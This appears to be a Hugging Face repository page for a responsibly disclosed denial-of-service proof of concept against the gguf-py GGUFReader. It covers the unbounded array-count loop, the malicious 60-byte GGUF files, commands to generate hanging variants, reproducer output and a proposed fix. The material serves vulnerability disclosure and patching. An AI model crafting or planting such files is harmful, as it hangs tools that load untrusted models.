Downloads · 30 days
26
9% of all-time downloads
ericblackgachara/gguf-dos-poc
gguf-dos-poc is a machine learning model from ericblackgachara. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
⚠️ Security Research Only — Files in this repository are malicious by design. Do not load them in production environments. Intended for vulnerability reproduction by security researchers and program triagers only.
Downloads · 30 days
26
9% of all-time downloads
All-time downloads
288
Public
Repo size
330 KB
Likes
0
Public
Click a slice to open those files.
.pdf330 KB · 95%
From the Hugging Face model README
gguf-py GGUFReader⚠️ Security Research Only — Files in this repository are malicious by design. Do not load them in production environments. Intended for vulnerability reproduction by security researchers and program triagers only.
| Field | Details |
|---|---|
| Affected Library | gguf-py (pip: gguf) — all versions including v0.18.0 |
| Affected File | gguf/gguf_reader.py — _get_field_parts() |
| Vulnerability Type | Denial of Service — CPU Exhaustion + Memory Exhaustion |
| CWE | CWE-789: Uncontrolled Memory Allocation |
| CVSS v3.1 | 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Reporter | Eric Gachara |
| Disclosure | huntr.com — Responsible Disclosure |
The Python GGUF reader (gguf-py) reads the array element count field (alen)
directly from a .gguf file as a raw uint64 — a value the attacker fully
controls, up to 18,446,744,073,709,551,615. It then loops that many times
with no bounds check:
# gguf/gguf_reader.py — _get_field_parts() ~line 244
alen = self._get(offs, np.uint64) # attacker-controlled — no cap
for idx in range(alen[0]): # loops up to 2^64-1 times
aparts += curr_parts # unbounded list growth → OOM
The C++ parser in the same repository correctly protects against this:
// ggml/src/gguf.cpp
#define GGUF_MAX_ARRAY_ELEMENTS (1024*1024*1024) // hard cap: 1 billion
if (n > GGUF_MAX_ARRAY_ELEMENTS) {
return false; // file rejected safely
}
The Python reader has no equivalent check.
| File | Description |
|---|---|
dos_memory_exhaust.gguf | 60-byte malicious GGUF file — triggers DoS on load |
craft_malicious_gguf.py | Generator script — creates malicious GGUF variants |
demo_dos.py | Reproducer — loads the malicious file with memory monitoring |
GGUF DoS PoC — Terminal Output.pdf | Evidence — terminal output showing confirmed DoS |
pip install gguf # tested on v0.18.0
from gguf import GGUFReader
# This call hangs — never returns
reader = GGUFReader("dos_memory_exhaust.gguf")
# Clone or download this repo, then:
python3 demo_dos.py c 15 # variant C, 15s timeout — safe to run
[*] Malicious file: dos_memory_exhaust.gguf (60 bytes)
[*] Memory before: 30.0 MB
[*] Loading file...
[5s] RSS: 241.8 MB (peak: 241.8 MB)
[10s] RSS: 422.2 MB (peak: 422.2 MB)
[15s] RSS: 623.2 MB (peak: 623.2 MB)
[!] VULNERABILITY CONFIRMED — Process hung for 15.2s
[!] Memory: 30.0 MB → 623.2 MB (grew +593.2 MB)
[!] 100% CPU sustained throughout
A 60-byte file causes ~40 MB/second memory growth at 100% CPU.
Run craft_malicious_gguf.py to generate all variants:
python3 craft_malicious_gguf.py all
| Variant | File | Array Count | Behavior |
|---|---|---|---|
| A | dos_cpu_exhaust.gguf | 10,000,000,000 | CPU exhaustion for hours |
| B | dos_infinite_loop.gguf | 2^64 - 1 | Truly infinite — process never exits |
| C | dos_memory_exhaust.gguf | 100,000,000 | Safe demo — completes in ~60s |
⚠️ Variants A and B will hang the process indefinitely. Always use a timeout or run
demo_dos.pywhich handles this automatically.
Any Python application calling GGUFReader on an untrusted .gguf file is
vulnerable — including:
gguf-dump — CLI tool installed with the packageconvert-hf-to-gguf.py — standard HuggingFace → GGUF conversion scriptllama-cpp-python — Python bindings that may invoke the Python readerAn attacker uploads a malicious 60-byte model to a model repository. Any downstream tool that loads it is fully hung — 100% CPU, unbounded memory growth, no recovery without a kill signal.
# Add to gguf/gguf_reader.py
GGUF_MAX_ARRAY_ELEMENTS = 1_073_741_824 # mirrors C++ GGUF_MAX_ARRAY_ELEMENTS
# In _get_field_parts(), after reading alen:
if int(alen[0]) > GGUF_MAX_ARRAY_ELEMENTS:
raise ValueError(
f"Array count {alen[0]} exceeds maximum ({GGUF_MAX_ARRAY_ELEMENTS}). "
f"File may be malicious."
)
This vulnerability was discovered and reported through huntr.com responsible disclosure program.
Please do not use these files for any purpose other than reproducing and understanding the vulnerability for research or patching purposes.
MIT — for research use only.